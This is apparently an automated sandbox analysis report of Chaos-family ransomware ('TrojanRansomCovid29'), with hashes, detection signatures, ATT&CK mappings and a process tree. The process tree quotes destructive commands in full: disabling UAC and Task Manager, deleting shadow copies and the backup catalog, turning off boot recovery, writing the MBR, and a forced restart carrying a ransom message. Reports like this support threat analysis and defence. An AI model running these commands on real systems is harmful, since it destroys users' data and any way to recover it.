Overview
overview
10Static
static
10TrojanRans...29.exe
windows7-x64
10TrojanRans...29.exe
windows10-2004-x64
10source/Bat...er.exe
windows7-x64
5source/Bat...er.exe
windows10-2004-x64
5source/Bat...lp.chm
windows7-x64
1source/Bat...lp.chm
windows10-2004-x64
1source/Cov29Cry.exe
windows7-x64
10source/Cov29Cry.exe
windows10-2004-x64
10source/Cov...v4.exe
windows7-x64
10source/Cov...v4.exe
windows10-2004-x64
10source/Cov...ry.exe
windows7-x64
10source/Cov...ry.exe
windows10-2004-x64
10source/Cov...en.exe
windows7-x64
3source/Cov...en.exe
windows10-2004-x64
3source/Cov...en.exe
windows7-x64
3source/Cov...en.exe
windows10-2004-x64
3source/Tro...29.bat
windows7-x64
10source/Tro...29.bat
windows10-2004-x64
10source/mbr.exe
windows7-x64
6source/mbr.exe
windows10-2004-x64
6Analysis
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max time kernel
148s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
10-12-2024 20:27
Behavioral task
behavioral1
Sample
TrojanRansomCovid29.exe
Resource
win7-20240903-en
windows7-x64
Behavioral task
behavioral2
Sample
TrojanRansomCovid29.exe
Resource
win10v2004-20241007-en
windows10-2004-x64
Behavioral task
behavioral3
Sample
source/Bat To Exe Converter/Bat_To_Exe_Converter.exe
Resource
win7-20240903-en
windows7-x64
Behavioral task
behavioral4
Sample
source/Bat To Exe Converter/Bat_To_Exe_Converter.exe
Resource
win10v2004-20241007-en
windows10-2004-x64
Behavioral task
behavioral5
Sample
source/Bat To Exe Converter/help.chm
Resource
win7-20241010-en
windows7-x64
Behavioral task
behavioral6
Sample
source/Bat To Exe Converter/help.chm
Resource
win10v2004-20241007-en
windows10-2004-x64
Behavioral task
behavioral7
Sample
source/Cov29Cry.exe
Resource
win7-20240708-en
windows7-x64
Behavioral task
behavioral8
Sample
source/Cov29Cry.exe
Resource
win10v2004-20241007-en
windows10-2004-x64
Behavioral task
behavioral9
Sample
source/Cov29Cry/Chaos Ransomware Builder v4.exe
Resource
win7-20240903-en
windows7-x64
Behavioral task
behavioral10
Sample
source/Cov29Cry/Chaos Ransomware Builder v4.exe
Resource
win10v2004-20241007-en
windows10-2004-x64
Behavioral task
behavioral11
Sample
source/Cov29Cry/Cov29Cry.exe
Resource
win7-20240729-en
windows7-x64
Behavioral task
behavioral12
Sample
source/Cov29Cry/Cov29Cry.exe
Resource
win10v2004-20241007-en
windows10-2004-x64
Behavioral task
behavioral13
Sample
source/Cov29LockScreen.exe
Resource
win7-20240903-en
windows7-x64
Behavioral task
behavioral14
Sample
source/Cov29LockScreen.exe
Resource
win10v2004-20241007-en
windows10-2004-x64
Behavioral task
behavioral15
Sample
source/Cov29LockScreen/Cov29LockScreen.exe
Resource
win7-20240903-en
windows7-x64
Behavioral task
behavioral16
Sample
source/Cov29LockScreen/Cov29LockScreen.exe
Resource
win10v2004-20241007-en
windows10-2004-x64
Behavioral task
behavioral17
Sample
source/TrojanRansomCovid29.bat
Resource
win7-20240903-en
windows7-x64
Behavioral task
behavioral18
Sample
source/TrojanRansomCovid29.bat
Resource
win10v2004-20241007-en
windows10-2004-x64
Behavioral task
behavioral19
Sample
source/mbr.exe
Resource
win7-20240708-en
windows7-x64
Behavioral task
behavioral20
Sample
source/mbr.exe
Resource
win10v2004-20241007-en
windows10-2004-x64
General
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Target
TrojanRansomCovid29.exe
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Size
542KB
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MD5
9f0563f2faaf6b9a0f7b3cf058ac80b6
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SHA1
244e0ff0a5366c1607f104e7e7af4949510226ec
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SHA256
a8054338891db7231f9885ca0d3bc90a651c63878ff603ede5c3efafa7e25254
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SHA512
40cdf4c754977e60c233417e42a62be02f9b5bfe239c0378664c28757ce6ce1fc3b91b83d6ef6bb184c4d831761f57a07255526d12a3a955c3b473bddb97f4c9
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SSDEEP
12288:xBv407Pg09KyclZbmoYsp8L/0C7Cvb3p62STTzfGGz9oSzrfI:xh5rgjycXbm0K/EzQl/xDrfI
Malware Config
Signatures
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Chaos
Ransomware family first seen in June 2021.
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Chaos Ransomware 4 IoCs
resource yara_rule behavioral2/files/0x0008000000023bd8-32.dat family_chaos behavioral2/memory/5000-33-0x0000000000420000-0x0000000000440000-memory.dmp family_chaos behavioral2/memory/4368-101-0x0000000000400000-0x00000000005D5000-memory.dmp family_chaos behavioral2/memory/4368-106-0x0000000000400000-0x00000000005D5000-memory.dmp family_chaos -
Chaos family
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description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe -
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 3584 bcdedit.exe 1680 bcdedit.exe -
pid Process 216 wbadmin.exe -
Disables Task Manager via registry modification
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Checks computer location settings 2 TTPs 4 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation TrojanRansomCovid29.exe Key value queried \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation Cov29Cry.exe Key value queried \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation svchost.exe -
Drops startup file 3 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.url svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini svchost.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\covid29-is-here.txt svchost.exe -
Executes dropped EXE 4 IoCs
pid Process 1840 mbr.exe 5000 Cov29Cry.exe 4820 svchost.exe 4704 Cov29LockScreen.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Drops desktop.ini file(s) 34 IoCs
description ioc Process File opened for modification C:\Users\Public\Music\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Desktop\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Links\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Pictures\Camera Roll\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Searches\desktop.ini svchost.exe File opened for modification C:\Users\Public\Videos\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Music\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Saved Games\desktop.ini svchost.exe File opened for modification C:\Users\Public\Desktop\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Favorites\Links\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AccountPictures\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini svchost.exe File opened for modification F:\$RECYCLE.BIN\S-1-5-21-2437139445-1151884604-3026847218-1000\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Contacts\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Documents\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Pictures\desktop.ini svchost.exe File opened for modification C:\Users\Admin\OneDrive\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Downloads\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Pictures\Saved Pictures\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini svchost.exe File opened for modification C:\Users\Public\Documents\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Videos\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini svchost.exe File opened for modification C:\Users\Admin\Favorites\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini svchost.exe File opened for modification C:\Users\Public\Pictures\desktop.ini svchost.exe -
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PhysicalDrive0 mbr.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\l50yjemvs.jpg" svchost.exe -
resource yara_rule behavioral2/memory/4368-0-0x0000000000400000-0x00000000005D5000-memory.dmp upx behavioral2/memory/4368-101-0x0000000000400000-0x00000000005D5000-memory.dmp upx behavioral2/memory/4368-106-0x0000000000400000-0x00000000005D5000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 16 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language shutdown.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language taskkill.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Cov29LockScreen.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PING.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language TrojanRansomCovid29.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PING.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mbr.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 1972 PING.EXE 448 PING.EXE -
Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe -
Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1504 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 2988 taskkill.exe -
Modifies registry class 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings cmd.exe -
Modifies registry key 1 TTPs 7 IoCs
pid Process 624 reg.exe 1512 reg.exe 3404 reg.exe 1788 reg.exe 3752 reg.exe 4228 reg.exe 4584 reg.exe -
Runs ping.exe 1 TTPs 2 IoCs
pid Process 1972 PING.EXE 448 PING.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4820 svchost.exe -
Suspicious behavior: EnumeratesProcesses 47 IoCs
pid Process 5000 Cov29Cry.exe 5000 Cov29Cry.exe 5000 Cov29Cry.exe 5000 Cov29Cry.exe 5000 Cov29Cry.exe 5000 Cov29Cry.exe 5000 Cov29Cry.exe 5000 Cov29Cry.exe 5000 Cov29Cry.exe 5000 Cov29Cry.exe 5000 Cov29Cry.exe 5000 Cov29Cry.exe 5000 Cov29Cry.exe 5000 Cov29Cry.exe 5000 Cov29Cry.exe 5000 Cov29Cry.exe 5000 Cov29Cry.exe 5000 Cov29Cry.exe 5000 Cov29Cry.exe 5000 Cov29Cry.exe 5000 Cov29Cry.exe 5000 Cov29Cry.exe 5000 Cov29Cry.exe 4820 svchost.exe 4820 svchost.exe 4820 svchost.exe 4820 svchost.exe 4820 svchost.exe 4820 svchost.exe 4820 svchost.exe 4820 svchost.exe 4820 svchost.exe 4820 svchost.exe 4820 svchost.exe 4820 svchost.exe 4820 svchost.exe 4820 svchost.exe 4820 svchost.exe 4820 svchost.exe 4820 svchost.exe 4820 svchost.exe 4820 svchost.exe 4820 svchost.exe 4820 svchost.exe 4820 svchost.exe 4820 svchost.exe 4820 svchost.exe -
Suspicious use of AdjustPrivilegeToken 53 IoCs
description pid Process Token: SeShutdownPrivilege 4040 shutdown.exe Token: SeRemoteShutdownPrivilege 4040 shutdown.exe Token: SeDebugPrivilege 5000 Cov29Cry.exe Token: SeDebugPrivilege 4820 svchost.exe Token: SeBackupPrivilege 916 vssvc.exe Token: SeRestorePrivilege 916 vssvc.exe Token: SeAuditPrivilege 916 vssvc.exe Token: SeIncreaseQuotaPrivilege 4384 WMIC.exe Token: SeSecurityPrivilege 4384 WMIC.exe Token: SeTakeOwnershipPrivilege 4384 WMIC.exe Token: SeLoadDriverPrivilege 4384 WMIC.exe Token: SeSystemProfilePrivilege 4384 WMIC.exe Token: SeSystemtimePrivilege 4384 WMIC.exe Token: SeProfSingleProcessPrivilege 4384 WMIC.exe Token: SeIncBasePriorityPrivilege 4384 WMIC.exe Token: SeCreatePagefilePrivilege 4384 WMIC.exe Token: SeBackupPrivilege 4384 WMIC.exe Token: SeRestorePrivilege 4384 WMIC.exe Token: SeShutdownPrivilege 4384 WMIC.exe Token: SeDebugPrivilege 4384 WMIC.exe Token: SeSystemEnvironmentPrivilege 4384 WMIC.exe Token: SeRemoteShutdownPrivilege 4384 WMIC.exe Token: SeUndockPrivilege 4384 WMIC.exe Token: SeManageVolumePrivilege 4384 WMIC.exe Token: 33 4384 WMIC.exe Token: 34 4384 WMIC.exe Token: 35 4384 WMIC.exe Token: 36 4384 WMIC.exe Token: SeIncreaseQuotaPrivilege 4384 WMIC.exe Token: SeSecurityPrivilege 4384 WMIC.exe Token: SeTakeOwnershipPrivilege 4384 WMIC.exe Token: SeLoadDriverPrivilege 4384 WMIC.exe Token: SeSystemProfilePrivilege 4384 WMIC.exe Token: SeSystemtimePrivilege 4384 WMIC.exe Token: SeProfSingleProcessPrivilege 4384 WMIC.exe Token: SeIncBasePriorityPrivilege 4384 WMIC.exe Token: SeCreatePagefilePrivilege 4384 WMIC.exe Token: SeBackupPrivilege 4384 WMIC.exe Token: SeRestorePrivilege 4384 WMIC.exe Token: SeShutdownPrivilege 4384 WMIC.exe Token: SeDebugPrivilege 4384 WMIC.exe Token: SeSystemEnvironmentPrivilege 4384 WMIC.exe Token: SeRemoteShutdownPrivilege 4384 WMIC.exe Token: SeUndockPrivilege 4384 WMIC.exe Token: SeManageVolumePrivilege 4384 WMIC.exe Token: 33 4384 WMIC.exe Token: 34 4384 WMIC.exe Token: 35 4384 WMIC.exe Token: 36 4384 WMIC.exe Token: SeBackupPrivilege 4536 wbengine.exe Token: SeRestorePrivilege 4536 wbengine.exe Token: SeSecurityPrivilege 4536 wbengine.exe Token: SeDebugPrivilege 2988 taskkill.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4704 Cov29LockScreen.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4368 wrote to memory of 2892 4368 TrojanRansomCovid29.exe 83 PID 4368 wrote to memory of 2892 4368 TrojanRansomCovid29.exe 83 PID 4368 wrote to memory of 2892 4368 TrojanRansomCovid29.exe 83 PID 2892 wrote to memory of 1844 2892 cmd.exe 86 PID 2892 wrote to memory of 1844 2892 cmd.exe 86 PID 2892 wrote to memory of 1844 2892 cmd.exe 86 PID 2892 wrote to memory of 1972 2892 cmd.exe 87 PID 2892 wrote to memory of 1972 2892 cmd.exe 87 PID 2892 wrote to memory of 1972 2892 cmd.exe 87 PID 2892 wrote to memory of 624 2892 cmd.exe 88 PID 2892 wrote to memory of 624 2892 cmd.exe 88 PID 2892 wrote to memory of 624 2892 cmd.exe 88 PID 2892 wrote to memory of 1512 2892 cmd.exe 89 PID 2892 wrote to memory of 1512 2892 cmd.exe 89 PID 2892 wrote to memory of 1512 2892 cmd.exe 89 PID 2892 wrote to memory of 3404 2892 cmd.exe 90 PID 2892 wrote to memory of 3404 2892 cmd.exe 90 PID 2892 wrote to memory of 3404 2892 cmd.exe 90 PID 2892 wrote to memory of 1788 2892 cmd.exe 91 PID 2892 wrote to memory of 1788 2892 cmd.exe 91 PID 2892 wrote to memory of 1788 2892 cmd.exe 91 PID 2892 wrote to memory of 3752 2892 cmd.exe 92 PID 2892 wrote to memory of 3752 2892 cmd.exe 92 PID 2892 wrote to memory of 3752 2892 cmd.exe 92 PID 2892 wrote to memory of 4228 2892 cmd.exe 93 PID 2892 wrote to memory of 4228 2892 cmd.exe 93 PID 2892 wrote to memory of 4228 2892 cmd.exe 93 PID 2892 wrote to memory of 4584 2892 cmd.exe 94 PID 2892 wrote to memory of 4584 2892 cmd.exe 94 PID 2892 wrote to memory of 4584 2892 cmd.exe 94 PID 2892 wrote to memory of 1840 2892 cmd.exe 95 PID 2892 wrote to memory of 1840 2892 cmd.exe 95 PID 2892 wrote to memory of 1840 2892 cmd.exe 95 PID 2892 wrote to memory of 5000 2892 cmd.exe 96 PID 2892 wrote to memory of 5000 2892 cmd.exe 96 PID 2892 wrote to memory of 4040 2892 cmd.exe 97 PID 2892 wrote to memory of 4040 2892 cmd.exe 97 PID 2892 wrote to memory of 4040 2892 cmd.exe 97 PID 2892 wrote to memory of 448 2892 cmd.exe 99 PID 2892 wrote to memory of 448 2892 cmd.exe 99 PID 2892 wrote to memory of 448 2892 cmd.exe 99 PID 5000 wrote to memory of 4820 5000 Cov29Cry.exe 101 PID 5000 wrote to memory of 4820 5000 Cov29Cry.exe 101 PID 4820 wrote to memory of 4392 4820 svchost.exe 102 PID 4820 wrote to memory of 4392 4820 svchost.exe 102 PID 4392 wrote to memory of 1504 4392 cmd.exe 104 PID 4392 wrote to memory of 1504 4392 cmd.exe 104 PID 4392 wrote to memory of 4384 4392 cmd.exe 110 PID 4392 wrote to memory of 4384 4392 cmd.exe 110 PID 4820 wrote to memory of 1560 4820 svchost.exe 112 PID 4820 wrote to memory of 1560 4820 svchost.exe 112 PID 1560 wrote to memory of 3584 1560 cmd.exe 114 PID 1560 wrote to memory of 3584 1560 cmd.exe 114 PID 1560 wrote to memory of 1680 1560 cmd.exe 115 PID 1560 wrote to memory of 1680 1560 cmd.exe 115 PID 4820 wrote to memory of 532 4820 svchost.exe 116 PID 4820 wrote to memory of 532 4820 svchost.exe 116 PID 532 wrote to memory of 216 532 cmd.exe 118 PID 532 wrote to memory of 216 532 cmd.exe 118 PID 4820 wrote to memory of 1788 4820 svchost.exe 126 PID 4820 wrote to memory of 1788 4820 svchost.exe 126 PID 2892 wrote to memory of 2988 2892 cmd.exe 128 PID 2892 wrote to memory of 2988 2892 cmd.exe 128 PID 2892 wrote to memory of 2988 2892 cmd.exe 128 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\TrojanRansomCovid29.exe"C:\Users\Admin\AppData\Local\Temp\TrojanRansomCovid29.exe"1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4368 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\88B8.tmp\TrojanRansomCovid29.bat" "2⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2892 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\88B8.tmp\fakeerror.vbs"3⤵
- System Location Discovery: System Language Discovery
PID:1844
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C:\Windows\SysWOW64\PING.EXEping localhost -n 23⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:1972
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C:\Windows\SysWOW64\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f3⤵
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:624
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C:\Windows\SysWOW64\reg.exereg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f3⤵
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:1512
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C:\Windows\SysWOW64\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f3⤵
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:3404
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C:\Windows\SysWOW64\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f3⤵
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:1788
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C:\Windows\SysWOW64\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f3⤵
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:3752
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C:\Windows\SysWOW64\reg.exereg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f3⤵
- UAC bypass
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:4228
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C:\Windows\SysWOW64\reg.exereg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f3⤵
- UAC bypass
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:4584
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C:\Users\Admin\AppData\Local\Temp\88B8.tmp\mbr.exembr.exe3⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- System Location Discovery: System Language Discovery
PID:1840
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C:\Users\Admin\AppData\Local\Temp\88B8.tmp\Cov29Cry.exeCov29Cry.exe3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5000 -
C:\Users\Admin\AppData\Roaming\svchost.exe"C:\Users\Admin\AppData\Roaming\svchost.exe"4⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Drops desktop.ini file(s)
- Sets desktop wallpaper using registry
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4820 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete5⤵
- Suspicious use of WriteProcessMemory
PID:4392 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet6⤵
- Interacts with shadow copies
PID:1504
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete6⤵
- Suspicious use of AdjustPrivilegeToken
PID:4384
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no5⤵
- Suspicious use of WriteProcessMemory
PID:1560 -
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures6⤵
- Modifies boot configuration data using bcdedit
PID:3584
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no6⤵
- Modifies boot configuration data using bcdedit
PID:1680
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet5⤵
- Suspicious use of WriteProcessMemory
PID:532 -
C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet6⤵
- Deletes backup catalog
PID:216
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C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\covid29-is-here.txt5⤵PID:1788
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C:\Windows\SysWOW64\shutdown.exeshutdown /r /t 300 /c "5 minutes to pay until you lose your data and system forever"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:4040
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C:\Windows\SysWOW64\PING.EXEping localhost -n 93⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:448
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C:\Windows\SysWOW64\taskkill.exetaskkill /f /im explorer.exe3⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2988
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C:\Users\Admin\AppData\Local\Temp\88B8.tmp\Cov29LockScreen.exeCov29LockScreen.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:4704
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:916
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4536
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:2848
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
PID:1092
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Direct Volume Access
1Impair Defenses
1Disable or Modify Tools
1Indicator Removal
3File Deletion
3Modify Registry
3Pre-OS Boot
1Bootkit
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
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Filesize
103KB
MD58bcd083e16af6c15e14520d5a0bd7e6a
SHA1c4d2f35d1fdb295db887f31bbc9237ac9263d782
SHA256b4f78ff66dc3f5f8ddd694166e6b596d533830792f9b5f1634d3f5f17d6a884a
SHA51235999577be0626b50eeab65b493d48af2ab42b699f7241d2780647bf7d72069216d99f5f708337a109e79b9c9229613b8341f44c6d96245fd1f3ac9f05814d6a
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Filesize
48KB
MD5f724c6da46dc54e6737db821f9b62d77
SHA1e35d5587326c61f4d7abd75f2f0fc1251b961977
SHA2566cde4a9f109ae5473703c4f5962f43024d71d2138cbd889223283e7b71e5911c
SHA5126f83dd7821828771a9cae34881c611522f6b5a567f5832f9e4b9b4b59bf495f40ad78678bd86cba59d32ea8644b4aa5f052552774fea142b9d6da625b55b6afc
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Filesize
1KB
MD557f0432c8e31d4ff4da7962db27ef4e8
SHA1d5023b3123c0b7fae683588ac0480cd2731a0c5e
SHA256b82e64e533789c639d8e193b78e06fc028ea227f55d7568865120be080179afc
SHA512bc082486503a95f8e2ce7689d31423386a03054c5e8e20e61250ca7b7a701e98489f5932eba4837e05ec935057f18633798a10f6f84573a95fcf086ee7cabcbf
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Filesize
144B
MD5c0437fe3a53e181c5e904f2d13431718
SHA144f9547e7259a7fb4fe718e42e499371aa188ab6
SHA256f2571f03eb9d5ee4dca29a8fec1317ded02973c5dd233d582f56cebe98544f22
